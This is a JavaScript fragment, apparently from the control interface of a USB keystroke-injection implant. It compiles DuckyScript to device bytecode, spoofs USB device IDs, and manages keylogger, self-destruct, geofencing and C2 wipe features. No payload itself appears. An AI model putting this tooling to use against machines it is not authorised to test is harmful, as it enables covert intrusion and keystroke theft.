[\n\t\t\t\t`CTSet\\tusbvid\\t${document.getElementById(\"device-USBVID\").value}`,\n\t\t\t\t`CTSet\\tusbpid\\t${document.getElementById(\"device-USBPID\").value}`,\n\t\t\t\t`CTSet\\tusbman\\t${document.getElementById(\"device-USBMAN\").value}`,\n\t\t\t\t`CTSet\\tusbpro\\t${document.getElementById(\"device-USBPRO\").value}`,\n\t\t\t\t`CTSet\\tusbser\\t${document.getElementById(\"device-USBSER\").value}`\n\t\t\t];\n\t\t\n\t\t\tsendCommands(usbCommands);\n\t\t\n\t\t\tlogMessage(`INFO`, `! USB Device IDs Changed, Device will reboot.`);\n\t\t\tlogMessage(`CRIT`, `ChangeUSBDeviceIDs: [usbvid]:[${document.getElementById(\"device-USBVID\").value}] [usbpid]:[${document.getElementById(\"device-USBPID\").value}] [usbman]:[${document.getElementById(\"device-USBMAN\").value}] [usbpro]:[${document.getElementById(\"device-USBPRO\").value}] [usbser]:[${document.getElementById(\"device-USBSER\").value}]`);\n\t\t\n\t\t\tsendMessage(`CR1`);\n\t\t}\n\t\t\n\t\tfunction updateWifiSettings() {\n\t\t\tlet mode = document.getElementById(\"CW1\").checked ? 1 : 2;\n\t\t\tconst wifiCommands = [\n\t\t\t\t`CTSet\\twifimode\\t${mode}`,\n\t\t\t\t`CTSet\\twifissid\\t${document.getElementById(\"device-WIFISSID\").value}`,\n\t\t\t\t`CTSet\\twifikey\\t${document.getElementById(\"device-WIFIPassword\").value}`,\n\t\t\t\t`CTSet\\twifimac\\t${document.getElementById(\"device-CustomMACAddress\").value}`,\n\t\t\t\t`CTSet\\tdevicename\\t${document.getElementById(\"device-name\").value}`,\n\t\t\t\t`CR1`\n\t\t\t];\n\t\t\n\t\t\tsendCommands(wifiCommands);\n\t\t\n\t\t\tlogMessage(`CRIT`, `ChangeWifiConfig: [cmd]:[${wifiCommands[0]}]:[${wifiCommands[1]}]`);\n\t\t\tlogMessage(`INFO`, `! WiFi Config Changed, Device will now reboot!`);\n\t\t}\n\t\t\n\t\tfunction createLabelAndInput(labelText, commandName, idPrefix, parentId) {\n\t\t\treturn new Promise((resolve) => {\n\t\t\t\tconst parentElement = document.getElementById(parentId);\n\t\t\n\t\t\t\tif (!document.getElementById(`${idPrefix}${commandName}`)) {\n\t\t\t\t\tconst labelName = document.createElement(\"label\");\n\t\t\t\t\tlabelName.htmlFor = `${idPrefix}${commandName}`;\n\t\t\t\t\tlabelName.innerHTML = labelText;\n\t\t\t\t\tparentElement.appendChild(labelName);\n\t\t\n\t\t\t\t\tconst inputName = document.createElement(\"input\");\n\t\t\t\t\tinputName.id = `${idPrefix}${commandName}`;\n\t\t\t\t\tparentElement.appendChild(inputName);\n\t\t\t\t}\n\t\t\t\tresolve();\n\t\t\t});\n\t\t}\n\t\t\n\t\tasync function generateDebugMenu() {\n\t\t\tconst keylogCmdHandlerList = ['LiveLogStatus', 'Status', 'CaptureMode', 'SpaceUsed', 'SpaceFree', 'DataWaiting', 'DataLost', 'LastReportID', 'NextReportID', 'USBPkts', 'USBLost', 'USBHolds', 'USBBursts'];\n\t\t\t\n\t\t\tconst defaultCmdHandlerList = enabledFeatures;\n\t\t\n\t\t\tconst mandatoryFields = ['CI', 'CV', 'CWInfo', 'CNGet', 'CWStatus', 'C2Config', 'C2Info', 'C2Status', 'C2Wipe'];\n\t\t\tfor (let field of mandatoryFields) {\n\t\t\t\tawait createLabelAndInput(field, field, 'response-', 'contentArea_debug');\n\t\t\t}\n\t\t\n\t\t\tconst defaultCmdPromises = defaultCmdHandlerList.map((commandName) => {\n\t\t\t\tif (!mandatoryFields.includes(commandName)) {\n\t\t\t\t\treturn createLabelAndInput(commandName, commandName, 'response-', 'contentArea_debug');\n\t\t\t\t}\n\t\t\t});\n\t\t\n\t\t\tconst keylogCmdPromises = keylogCmdHandlerList.map((commandName) => {\n\t\t\t\treturn createLabelAndInput(`Keylogger ${commandName}`, commandName, 'keylogger-', 'keyloggerStatus');\n\t\t\t});\n\t\t\n\t\t\tawait Promise.all([...defaultCmdPromises, ...keylogCmdPromises]);\n\t\t}\n\t\t\n\t\t// Logger Module\n\t\tlet currentToast = null; // Keep track of the current toast\n\t\tfunction logMessage(level, msg, toastOnly) {\n\t\t\tconst debugLevels = {\n\t\t\t\t'NONE': 0,\n\t\t\t\t'INFO': 1,\n\t\t\t\t'WARN': 2,\n\t\t\t\t'CRIT': 3,\n\t\t\t\t'DIAG': 4,\n\t\t\t\t'DEBUG': 5\n\t\t\t};\n\t\t\n\t\t\tconst now = new Date();\n\t\t\tconst datetime = `${now.toLocaleDateString()} ${now.toLocaleTimeString()} ${now.getMilliseconds().toString().padStart(3, '0')}ms`;\n\t\t\tconst debugLevel = document.getElementById('debugLevel').value;\n\t\t\n\t\t\tif (level !== \"DEBUG\" || level !== \"NONE\") {\n\t\t\t\tdocument.getElementById(\"debuglog\").innerHTML += `LOG ${level} (${datetime}): ${msg}\\n`;\n\t\t\t}\n\t\t\n\t\t\tif (debugLevels[level] <= debugLevels[debugLevel] && level !== \"NONE\") {\n\t\t\t\tdocument.getElementById(\"syslog\").innerHTML += `[${level}]\\t${msg}\\n`;\n\t\t\n\t\t\t\tif (level === \"INFO\" && !msg.includes(\"onMessage\")) {\n\t\t\t\t\tconst displayMessage = toastOnly || msg;\n\t\t\n\t\t\t\t\tif (currentToast && document.body.contains(currentToast)) {\n\t\t\t\t\t\t// Update existing toast\n\t\t\t\t\t\tcurrentToast.innerHTML = displayMessage;\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Refresh the toast's z-index to bring it to front\n\t\t\t\t\t\tcurrentToast.style.zIndex = zIndexCounter++;\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Reset the timeout\n\t\t\t\t\t\tclearTimeout(currentToast.timeoutId);\n\t\t\t\t\t\tcurrentToast.timeoutId = setTimeout(() => {\n\t\t\t\t\t\t\tif (document.body.contains(currentToast)) {\n\t\t\t\t\t\t\t\tdocument.body.removeChild(currentToast);\n\t\t\t\t\t\t\t\tcurrentToast = null;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}, 3000);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// Create new toast\n\t\t\t\t\t\tconst toast = document.createElement('div');\n\t\t\t\t\t\ttoast.className = 'toast';\n\t\t\t\t\t\ttoast.innerHTML = displayMessage;\n\t\t\t\t\t\ttoast.style.zIndex = zIndexCounter++;\n\t\t\n\t\t\t\t\t\tconst removeToast = () => {\n\t\t\t\t\t\t\tif (document.body.contains(toast)) {\n\t\t\t\t\t\t\t\tdocument.body.removeChild(toast);\n\t\t\t\t\t\t\t\tcurrentToast = null;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t};\n\t\t\n\t\t\t\t\t\tconst timeoutId = setTimeout(removeToast, 3000);\n\t\t\t\t\t\ttoast.timeoutId = timeoutId; // Store the timeout ID on the toast element\n\t\t\t\t\t\t\n\t\t\t\t\t\ttoast.onclick = () => {\n\t\t\t\t\t\t\tclearTimeout(timeoutId);\n\t\t\t\t\t\t\tremoveToast();\n\t\t\t\t\t\t};\n\t\t\n\t\t\t\t\t\tdocument.body.appendChild(toast);\n\t\t\t\t\t\tcurrentToast = toast;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Payload Module\n\t\tfunction apiResponseCE(data) {}\n\t\tpreviousData = '';\n\t\tvar iterations;\n\t\tsplit_payloads = \"\";\n\t\tcompiledBootSlot = \"\";\n\t\tcePayload = \"\";\n\t\tvar compiledBootSlot = \"\";\n\t\tvar defaultDelay = \"0\";\n\t\tvar defaultDelayJitter = \"0\";\n\t\tvar defaultCharDelay = \"0\";\n\t\tvar defaultCharDelayJitter = \"0\";\n\t\tvar compileFailed = \"0\";\n\t\t\n\t\tfunction getPayload() {\n\t\t\tpayloadElement = document.getElementById(\"payload\");\n\t\t\tunescapedPayloadElement = unescapeHtml(payloadElement.value);\n\t\t\trandomDelay = Math.floor(Math.random() * 100) + 1;\n\t\t\tunescapedPayloadElement += `\\nDELAY ${randomDelay}`;\n\t\t\treturn unescapedPayloadElement;\n\t\t}\n\t\t\n\t\tfunction processPayload(payload) {\n\t\t\tupdateLineNumbers();\n\t\t\tlet originalPayload = payload;\n\t\t\tlet payloadLines = payload.split('\\n');\n\t\t\ttry {\n\t\t\t\tpayload = sortLines(payload);\n\t\t\t\tpayload = replaceBlocksWithLines(payload);\n\t\t\t\tpayload = replaceFunctions(payload);\n\t\t\t\tpayload = removeComments(payload);\n\t\t\t\tpayload = replaceRepeat(payload);\n\t\t\t\tpayload = replaceDefines(payload);\n\t\t\t\tpayload = applyDelays(payload);\n\t\t\t\tpayload = normalizeCommands(payload);\n\t\t\t\tlogMessage(`CRIT`, `Compiling Payload - Intermediate Parsing: [script]:[${payload}]`);\n\t\t\t\treturn payload;\n\t\t\t} catch (err) {\n\t\t\t\tlet payloadLinesAfter = payload.split('\\n');\n\t\t\t\tfor (let i = 0; i < payloadLines.length; i++) {\n\t\t\t\t\tif (payloadLines[i] !== payloadLinesAfter[i]) {\n\t\t\t\t\t\tconsole.error(`Error on line ${i + 1}: ${payloadLines[i]}`);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tconsole.error(err);\n\t\t\t\tthrow err;\n\t\t\t}\n\t\t}\n\t\t\n\t\tconst SPECIAL_COMMANDS = new Set([\"DEFINE\", \"FUNCTION\", \"IF_NOTPRESENT\", \"IF_PRESENT\", \"WAIT_FOR_NOTPRESENT\", \"WAIT_FOR_PRESENT\", \"STRING\", \"STRINGLN\", \"CTRL\", \"LCTRL\", \"LEFT-CTRL\", \"CONTROL\", \"LCONTROL\", \"LEFT-CONTROL\", \"SHIFT\", \"LSHIFT\", \"LEFT-SHIFT\", \"ALT\", \"LALT\", \"LEFT-ALT\", \"OPT\", \"LOPT\", \"LEFT-OPT\", \"OPTION\", \"LOPTION\", \"LEFT-OPTION\", \"CMD\", \"LCMD\", \"LEFT-CMD\", \"COMMAND\", \"LCOMMAND\", \"LEFT-COMMAND\", \"GUI\", \"LGUI\", \"LEFT-GUI\", \"WIN\", \"LWIN\", \"LEFT-WIN\", \"WINDOWS\", \"LWINDOWS\", \"LEFT-WINDOWS\", \"META\", \"LMETA\", \"LEFT-META\", \"SUPER\", \"LSUPER\", \"LEFT-SUPER\", \"RCTRL\", \"RIGHT-CTRL\", \"RCONTROL\", \"RIGHT-CONTROL\", \"RSHIFT\", \"RIGHT-SHIFT\", \"RALT\", \"RIGHT-ALT\", \"ROPT\", \"RIGHT-OPT\", \"ROPTION\", \"RIGHT-OPTION\", \"RCMD\", \"RIGHT-CMD\", \"RCOMMAND\", \"RIGHT-COMMAND\", \"RGUI\", \"RIGHT-GUI\", \"RWIN\", \"RIGHT-WIN\", \"RWINDOWS\", \"RIGHT-WINDOWS\", \"RMETA\", \"RIGHT-META\", \"RSUPER\", \"RIGHT-SUPER\"]);\n\t\t\n\t\tfunction normalizeCommands(payload) {\n\t\t\treturn payload.split('\\n').map(line => {\n\t\t\t\tlet [command, ...rest] = line.split(' ');\n\t\t\t\tif (!SPECIAL_COMMANDS.has(command.toUpperCase())) {\n\t\t\t\t\trest = rest.map(item => item.toUpperCase());\n\t\t\t\t}\n\t\t\t\treturn [command.toUpperCase(), ...rest].join(' ');\n\t\t\t}).join('\\n');\n\t\t}\n\t\t\n\t\tfunction runDuckyScriptByLine() {\n\t\t\tpayloadCompiled = compileDuckyScriptByLine();\n\t\t}\n\t\t\n\t\tfunction compileDuckyScriptByLine() {\n\t\t\tlet payloadScript = getPayload();\n\t\t\tlet payloadLines = payloadScript.split('\\n');\n\t\t\tlet payloadCompiled = \"\";\n\t\t\tconsole.log(payloadScript);\n\t\t\n\t\t\tfor (let i = 0; i < payloadLines.length; i++) {\n\t\t\t\tlet originalLine = payloadLines[i];\n\t\t\t\ttry {\n\t\t\t\t\tlet processedLine = processPayload(originalLine);\n\t\t\t\t\tlet compiledLine = duckyscriptToBytecodeConverter(cleanInvisibles(processedLine));\n\t\t\t\t\tif (compiledLine !== undefined) {\n\t\t\t\t\t\tpayloadCompiled += compiledLine + '\\n';\n\t\t\t\t\t}\n\t\t\n\t\t\t\t\tconsole.log(`Compile Line ${i+1}: [input][${originalLine}] [output][${compiledLine}]`);\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconsole.error(`Error on line ${i + 1}: ${originalLine}`);\n\t\t\t\t\tconsole.error(err);\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\tpayloadCompiled = payloadCompiled.replace(/\\s/g, '');\n\t\t\tpayloadCompiled = payloadCompiled.toUpperCase();\n\t\t\n\t\t\tlet payload1Size = document.getElementById(\"payload1\") ? document.getElementById(\"payload1\").value : '1';\n\t\t\tlet calculatedPercent = (((payloadCompiled.length / 6) / (payload1Size * 4096)) * 100).toFixed(0);\n\t\t\tlet payloadStoragePercent = Math.min(calculatedPercent, 100) + '%';\n\t\t\tdocument.getElementById('payloadStorageUsedBar').style.width = payloadStoragePercent;\n\t\t\tdocument.getElementById('payloadStoragePercent').innerHTML = payloadStoragePercent;\n\t\t\tpayloadCompiled = split_process(payloadCompiled);\n\t\t\n\t\t\tconsole.log(payloadCompiled);\n\t\t\treturn payloadCompiled;\n\t\t}\n\t\t\n\t\tfunction compileDuckyScript() {\n\t\t\tpayloadIntermediate = \"\";\n\t\t\tpayloadScript = \"\";\n\t\t\tpayloadLines = \"\";\n\t\t\tpayloadCompiled = \"\";\n\t\t\tline = \"\";\n\t\t\n\t\t\tpayloadScript = getPayload();\n\t\t\tconst originalPayloadLines = payloadScript.split('\\n');\n\t\t\tpayloadScript = processPayload(payloadScript);\n\t\t\n\t\t\tpayloadLines = payloadScript.split('\\n');\n\t\t\tpayloadLines = payloadLines.map(cleanInvisibles);\n\t\t\n\t\t\ttry {\n\t\t\t\tpayloadCompiled = payloadLines.map((line, index) => {\n\t\t\t\t\ttry {\n\t\t\t\t\t\treturn duckyscriptToBytecodeConverter(line);\n\t\t\t\t\t} catch (error) {\n\t\t\t\t\t\tconsole.error(`Error on processed line ${index + 1}: ${error.message}`);\n\t\t\t\t\t\tconst originalLineIndex = originalPayloadLines.findIndex(originalLine =>\n\t\t\t\t\t\t\toriginalLine.toLowerCase().includes(line.toLowerCase())\n\t\t\t\t\t\t);\n\t\t\t\t\t\tif (originalLineIndex !== -1) {\n\t\t\t\t\t\t\tlogMessage(`INFO`, `Payload Compiler Error: Line ${originalLineIndex + 1} - ${originalPayloadLines[originalLineIndex]}. [${error.message}]`);\n\t\t\t\t\t\t\tsetEditorLineColors(`${originalLineIndex + 1}`, `red`);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tconsole.error(`Could not find original line for processed line ${index + 1}`);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tthrow error;\n\t\t\t\t\t}\n\t\t\t\t}).join('\\n');\n\t\t\t} catch (error) {\n\t\t\t\tthrow error;\n\t\t\t}\n\t\t\n\t\t\tpayloadCompiled = payloadCompiled.replace(/\\s/g, '');\n\t\t\tpayloadCompiled = payloadCompiled.toUpperCase();\n\t\t\tcrc16 = crc16augccitt(payloadCompiled);\n\t\t\n\t\t\tlet payload1Size = document.getElementById(\"payload1\") ? document.getElementById(\"payload1\").value : '1';\n\t\t\tlet calculatedPercent = (((payloadCompiled.length / 6) / (payload1Size * 4096)) * 100).toFixed(0);\n\t\t\tlet payloadStoragePercent = Math.min(calculatedPercent, 100) + '%';\n\t\t\tdocument.getElementById('payloadStorageUsedBar').style.width = payloadStoragePercent;\n\t\t\tdocument.getElementById('payloadStoragePercent').innerHTML = payloadStoragePercent;\n\t\t\tpayloadCompiled = split_process(payloadCompiled);\n\t\t\n\t\t\treturn payloadCompiled;\n\t\t}\n\t\t\n\t\tfunction sortLines(input) {\n\t\t\tvar lines = input.split('\\n');\n\t\t\tvar order = ['DUCKY_LANG', 'VID', 'PID', 'MAN', 'PRO', 'SER'];\n\t\t\n\t\t\tlines.sort((a, b) => {\n\t\t\t\tvar aPrefix = a.split(' ')[0];\n\t\t\t\tvar bPrefix = b.split(' ')[0];\n\t\t\n\t\t\t\tvar aIndex = order.indexOf(aPrefix);\n\t\t\t\tvar bIndex = order.indexOf(bPrefix);\n\t\t\n\t\t\t\tif (aIndex === -1 && bIndex === -1) return 0;\n\t\t\t\tif (aIndex === -1) return 1;\n\t\t\t\tif (bIndex === -1) return -1;\n\t\t\n\t\t\t\treturn aIndex - bIndex;\n\t\t\t});\n\t\t\n\t\t\treturn lines.join('\\n');\n\t\t}\n\t\t\n\t\tfunction removeComments(payload) {\n\t\t\tpayload = payload.replace(/REM_BLOCK[\\s\\S]*?END_REM\\n?/g, \"\");\n\t\t\tpayload = payload.replace(/^REM .*/gm, \"\");\n\t\t\n\t\t\treturn payload.trim();\n\t\t}\n\t\t\n\t\tfunction cleanInvisibles(line) {\n\t\t\treturn line.replace(/&nbsp;/g, ' ').trimEnd();\n\t\t}\n\t\t\n\t\tfunction replaceFunctions(payload) {\n\t\t\tconst functionRegex = /^FUNCTION\\s+([a-zA-Z0-9_]+)\\((.*?)\\)(?=\\r?\\n)([\\s\\S]*?)(?<=\\r?\\n)END_FUNCTION$/gm;\n\t\t\tlet match;\n\t\t\tlet functions = {};\n\t\t\n\t\t\twhile ((match = functionRegex.exec(payload)) !== null) {\n\t\t\t\tconst functionName = match[1];\n\t\t\t\tconst functionParams = match[2] ? match[2].split(',').map(item => item.trim().replace(/^#/, '')) : [];\n\t\t\t\tconst functionContent = match[3];\n\t\t\n\t\t\t\tfunctions[functionName] = {\n\t\t\t\t\tparams: functionParams,\n\t\t\t\t\tbody: functionContent\n\t\t\t\t};\n\t\t\t}\n\t\t\n\t\t\tpayload = payload.replace(functionRegex, '');\n\t\t\n\t\t\tconst functionReplacer = (match, functionName, args) => {\n\t\t\t\tif (functions[functionName] === undefined) {\n\t\t\t\t\tthrow new Error(`Function ${functionName} is not defined`);\n\t\t\t\t}\n\t\t\n\t\t\t\tconst argList = args.split(',').map(item => item.trim());\n\t\t\t\tlet functionBody = functions[functionName].body;\n\t\t\n\t\t\t\tfunctionBody = functions[functionName].params.reduce((body, param, index) => {\n\t\t\t\t\treturn body.replace(new RegExp('#?' + param, \"g\"), argList[index] || \"\");\n\t\t\t\t}, functionBody);\n\t\t\n\t\t\t\treturn functionBody;\n\t\t\t};\n\t\t\n\t\t\tpayload = payload.replace(/^([a-zA-Z0-9_]+)\\(([^)]*)\\)$/gm, functionReplacer);\n\t\t\treturn payload;\n\t\t}\n\t\t\n\t\tfunction replaceDefines(payload) {\n\t\t\tconst defineRegex = /^DEFINE\\s+(#?[a-zA-Z0-9_]+)\\s+(.*)$/gm;\n\t\t\tlet match;\n\t\t\tlet defines = {};\n\t\t\n\t\t\twhile ((match = defineRegex.exec(payload)) !== null) {\n\t\t\t\tconst keyName = match[1].replace(/^#/, '');\n\t\t\t\tconst keyContent = match[2];\n\t\t\t\tdefines[keyName] = keyContent;\n\t\t\t}\n\t\t\n\t\t\tpayload = payload.replace(defineRegex, '');\n\t\t\tpayload = payload.replace(/^\\s*[\\r\\n]/gm, '');\n\t\t\n\t\t\tconst keys = Object.keys(defines);\n\t\t\tif (keys.length > 0) {\n\t\t\t\tconst defineReplacerRegex = new RegExp('#?(' + keys.join('|') + ')', 'g');\n\t\t\n\t\t\t\tconst defineReplacer = (match) => defines[match.replace(/^#/, '')] || match;\n\t\t\t\tpayload = payload.replace(defineReplacerRegex, defineReplacer);\n\t\t\t}\n\t\t\treturn payload;\n\t\t}\n\t\t\n\t\tfunction replaceRepeat(payload) {\n\t\t\tconst lines = payload.split('\\n');\n\t\t\tlet newLines = [];\n\t\t\n\t\t\tlines.forEach(line => {\n\t\t\t\tif (line.startsWith(\"REPEAT\")) {\n\t\t\t\t\tlet splitLine = line.split(' ');\n\t\t\t\t\tlet count = parseInt(splitLine[1]);\n\t\t\t\t\tlet command = splitLine.slice(2).join(' ');\n\t\t\n\t\t\t\t\tnewLines.push(...Array(count).fill(command));\n\t\t\t\t} else {\n\t\t\t\t\tnewLines.push(line);\n\t\t\t\t}\n\t\t\t});\n\t\t\n\t\t\treturn newLines.join('\\n');\n\t\t}\n\t\t\n\t\tfunction replaceBlocksWithLines(payload) {\n\t\t\tconst blockRegex = /^(\\w+)_BLOCK\\n([\\s\\S]*?)\\nEND_\\1/gm;\n\t\t\n\t\t\tlet match;\n\t\t\twhile ((match = blockRegex.exec(payload)) !== null) {\n\t\t\t\tconst command = match[1];\n\t\t\t\tconst blockContent = match[2];\n\t\t\t\tconst lines = blockContent.split('\\n');\n\t\t\t\tconst replacedLines = lines.map(line => `${command} ${line}`);\n\t\t\t\tconst replacedBlock = replacedLines.join('\\n');\n\t\t\n\t\t\t\tpayload = payload.replace(match[0], replacedBlock);\n\t\t\t}\n\t\t\treturn payload;\n\t\t}\n\t\t\n\t\tfunction applyDelays(payload) {\n\t\t\tconst lines = payload.split('\\n');\n\t\t\tlet defaultDelay = null;\n\t\t\tlet defaultDelayJitter = 0;\n\t\t\tlet newLines = [];\n\t\t\n\t\t\tlines.forEach(line => {\n\t\t\t\tif (line.startsWith(\"DEFAULT_DELAY \")) {\n\t\t\t\t\tdefaultDelay = line.split(\" \")[1];\n\t\t\t\t} else if (line.startsWith(\"DEFAULT_DELAY_JITTER \")) {\n\t\t\t\t\tdefaultDelayJitter = parseInt(line.split(\" \")[1]);\n\t\t\t\t} else {\n\t\t\t\t\tif (defaultDelay !== null && line.trim() !== '') {\n\t\t\t\t\t\tlet jitter = Math.floor(Math.random() * defaultDelayJitter);\n\t\t\t\t\t\tnewLines.push(line);\n\t\t\t\t\t\tnewLines.push(`DELAY ${parseInt(defaultDelay) + jitter}`);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tnewLines.push(line);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t\n\t\t\treturn newLines.join('\\n');\n\t\t}\n\t\t\n\t\tfunction duckyscriptToBytecodeConverter(line) {\n\t\t\tlet splitLine = line.split(' ');\n\t\t\tlet cmd = splitLine[0];\n\t\t\tlet args = splitLine.slice(1);\n\t\t\n\t\t\tswitch (cmd) {\n\t\t\t\tcase 'IF_PRESENT':\n\t\t\t\tcase 'IF_NOTPRESENT':\n\t\t\t\tcase 'WAIT_FOR_PRESENT':\n\t\t\t\tcase 'WAIT_FOR_NOTPRESENT':\n\t\t\t\t\tline = handleGeofencingCommands(cmd, args.join(' '));\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'VID':\n\t\t\t\tcase 'PID':\n\t\t\t\t\tline = handleVidPidCommands(cmd, args);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'VID_RANDOM':\n\t\t\t\tcase 'PID_RANDOM':\n\t\t\t\t\tline = handleVidPidCommands(cmd, \"\", random = true);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'MAN':\n\t\t\t\tcase 'PRO':\n\t\t\t\tcase 'SER':\n\t\t\t\t\tline = handleManProSerCommands(cmd, args);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'MAN_RANDOM':\n\t\t\t\tcase 'PRO_RANDOM':\n\t\t\t\tcase 'SER_RANDOM':\n\t\t\t\t\tline = handleManProSerCommands(cmd, \"\", random = true);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'REBOOT':\n\t\t\t\t\tline = `180000`;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'KEYLOGGER':\n\t\t\t\t\tline = handleKeyloggerCommands(args);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'HIDX':\n\t\t\t\tcase 'USB':\n\t\t\t\tcase 'JIGGLER':\n\t\t\t\t\tline = handleUsbJigglerCommands(cmd, args);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'MOUSE':\n\t\t\t\t\tline = handleMouseCommands(args);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'DEFINE':\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'FUNCTION':\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'STRINGLN':\n\t\t\t\t\tline = `${ceBuildPayload(args.join(' '))}010028`;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'STRING':\n\t\t\t\t\tline = `${ceBuildPayload(args.join(' '))}`;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'KEYCODE':\n\t\t\t\t\tline = `${args.join(' ')}`;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'RANDOM_LOWERCASE_LETTER':\n\t\t\t\tcase 'RANDOM_UPPERCASE_LETTER':\n\t\t\t\tcase 'RANDOM_LETTER':\n\t\t\t\tcase 'RANDOM_NUMBER':\n\t\t\t\tcase 'RANDOM_SPECIAL':\n\t\t\t\tcase 'RANDOM_CHAR':\n\t\t\t\t\tline = handleRandomCommands(cmd);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'SELF_DESTRUCT':\n\t\t\t\tcase 'SELF-DESTRUCT':\n\t\t\t\t\tline = handleSelfDestructCommands(args);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'USB_RESET':\n\t\t\t\t\tlogMessage(`INFO`, 'USB Reset Issued.');\n\t\t\t\t\tline = `1B2700`;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'CAPSLOCK_DISABLE':\n\t\t\t\t\tline = `350000`;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'DELAY':\n\t\t\t\t\tline = handleDelayCommands(args);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'DUCKY_LANG':\n\t\t\t\t\tline = handleDuckyLangCommands(args);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'DEFAULT_DELAY':\n\t\t\t\t\tline = handleDefaultDelayCommands(args);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'DEFAULT_DELAY_JITTER':\n\t\t\t\t\tline = handleDefaultDelayJitterCommands(args);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'DEFAULT_CHAR_DELAY':\n\t\t\t\t\tline = handleDefaultCharDelayCommands(args);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'DEFAULT_CHAR_DELAY_JITTER':\n\t\t\t\t\tline = handleDefaultCharDelayJitterCommands(args);\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tline = handleNamedKeyCombinationCommands(cmd, args);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn line;\n\t\t}\n\t\t\n\t\tconst ceBuildPayload = (ceBuffer) => {\n\t\t\treturn ceBuffer.split('').map(key => ceBuildPayloadPart(key)).join('');\n\t\t};\n\t\t\n\t\tconst ceBuildPayloadPart = (key) => {\n\t\t\tconst [mod, hid] = memoizedKeyToHidMapping(key);\n\t\t\tlet payloadPart = '';\n\t\t\n\t\t\tif (defaultCharDelay >= 1) {\n\t\t\t\tconst humanized = getHumanized(defaultCharDelay, defaultCharDelayJitter);\n\t\t\t\tlogMessage('CRIT', `Default Char Delay Set. [delay]:[${defaultCharDelay}] [jitter]:[${defaultCharDelayJitter}] [result]:[${humanized}]`);\n\t\t\t\tpayloadPart += `1D${toHex(humanized / 10, 4)}`;\n\t\t\t}\n\t\t\n\t\t\treturn payloadPart + `${padHex(1)}${padHex(mod)}${padHex(hid)}`;\n\t\t};\n\t\t\n\t\tconst getHumanized = (delay, jitter) => jitter >= 1 ? delay + Math.floor(Math.random() * jitter) : delay;\n\t\t\n\t\tfunction split_process(hexPayload) {\n\t\t\tconst payloadMaxSize = 1008;\n\t\t\tconst operations = Math.ceil(hexPayload.length / payloadMaxSize);\n\t\t\tconst split_payloads = [];\n\t\t\n\t\t\tfor (let i = 0; i < operations; i++) {\n\t\t\t\tconst parsement = hexPayload.substr(i * payloadMaxSize, payloadMaxSize);\n\t\t\t\tconst this_sof = '20' + toHex(i + 1) + toHex(operations);\n\t\t\t\tconst this_eof = '30' + toHex(i + 1) + toHex(operations);\n\t\t\t\tsplit_payloads.push(this_sof + parsement + this_eof);\n\t\t\t}\n\t\t\n\t\t\tlogMessage(`CRIT`, `split_process: [split_payloads]:[${split_payloads}]`);\n\t\t\treturn split_payloads;\n\t\t}\n\t\t\n\t\tlet ceStatusInterval;\n\t\tconst apiResponseCEStatus = (function() {\n\t\t\treturn function(data) {\n\t\t\t\tconst { response, parameters } = parseData(data);\n\t\t\t\ttoggleClassBasedOnStatus('footerNavPayloadRun', 'buttonRunning', parameters[1], \"Running\");\n\t\t\n\t\t\t\tlet payloadRunPercent = (((parameters[3]) / (parameters[2])) * 100).toFixed(0) + '%';\n\t\t\t\tdocument.getElementById('payloadRunPercentBar').style.width = payloadRunPercent;\n\t\t\t\tdocument.getElementById('payloadRunPercent').innerHTML = payloadRunPercent;\n\t\t\n\t\t\t\tif (parameters[1] === \"Loading\" || parameters[1] === \"Running\") {\n\t\t\t\t\tdocument.getElementById(`payloadStorage`).classList.add(`hidden`);\n\t\t\t\t\tdocument.getElementById(`payloadRun`).classList.remove(`hidden`);\n\t\t\t\t\tdocument.getElementById(`payloadStatusLight`).classList.add(`statusLightActive`);\n\t\t\t\t\tif (!ceStatusInterval) {\n\t\t\t\t\t\tceStatusInterval = setInterval(() => {\n\t\t\t\t\t\t\tsendMessage(\"CEStatus\");\n\t\t\t\t\t\t}, 2000);\n\t\t\t\t\t}\n\t\t\t\t} else if (parameters[1] === \"Idle\") 